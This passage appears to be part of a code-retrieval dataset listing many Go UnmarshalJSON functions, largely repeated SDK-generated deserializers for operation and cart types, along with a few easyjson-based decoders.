%v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (obj *CartUpdate) UnmarshalJSON(data []byte) error {\n\ttype Alias CartUpdate\n\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\n\t\treturn err\n\t}\n\tfor i := range obj.Actions {\n\t\tvar err error\n\t\tobj.Actions[i], err = mapDiscriminatorCartUpdateAction(obj.Actions[i])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}","func (v *BaseOpSubscription) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(&r, v)\n\treturn r.Error()\n}","func (a *AzureAsyncOperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &a.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationsDefinitionArrayResponseWithContinuation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}","func (v *BaseOpSubscriptionArgs) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi121(&r, v)\n\treturn r.Error()\n}","func (this *DeploymentStrategy) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (m *StartsWithCompareOperation) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\n\t\t// The condition is case sensitive (`false`) or case insensitive (`true`).\n\t\t//\n\t\t// If not set, then `false` is used, making the condition case sensitive.\n\t\tIgnoreCase bool `json:\"ignoreCase,omitempty\"`\n\n\t\t// Inverts the operation of the condition. Set to `true` to turn **starts with** into **does not start with**.\n\t\t//\n\t\t// If not set, then `false` is used.\n\t\tNegate bool `json:\"negate,omitempty\"`\n\n\t\t// The value to compare to.\n\t\t//\n\t\t// If several values are specified, the OR logic applies.\n\t\t// Required: true\n\t\t// Max Items: 10\n\t\t// Min Items: 1\n\t\t// Unique: true\n\t\tValues []string `json:\"values\"`\n\t}\n\tbuf := bytes.NewBuffer(raw)\n\tdec := json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\tvar base struct {\n\t\t/* Just the base type fields. Used for unmashalling polymorphic types.*/\n\n\t\tType string `json:\"type\"`\n\t}\n\tbuf = bytes.NewBuffer(raw)\n\tdec = json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&base); err != nil {\n\t\treturn err\n\t}\n\n\tvar result StartsWithCompareOperation\n\n\tif base.Type != result.Type() {\n\t\t/* Not the type we're looking for. */\n\t\treturn errors.New(422, \"invalid type value: %q\", base.Type)\n\t}\n\n\tresult.IgnoreCase = data.IgnoreCase\n\n\tresult.Negate = data.Negate\n\n\tresult.Values = data.Values\n\n\t*m = result\n\n\treturn nil\n}","func (v *bulkUpdateRequestCommandData) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV71(&r, v)\n\treturn r.Error()\n}"],"string":"[\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"actionType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ActionType\\\", &o.ActionType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"origin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Origin\\\", &o.Origin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &o.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"isDataAction\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"IsDataAction\\\", &o.IsDataAction)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &o.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op *Operation) Unmarshal(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op)\\n}\",\n \"func (o *Operation) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"display\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Display\\\", &o.Display)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", 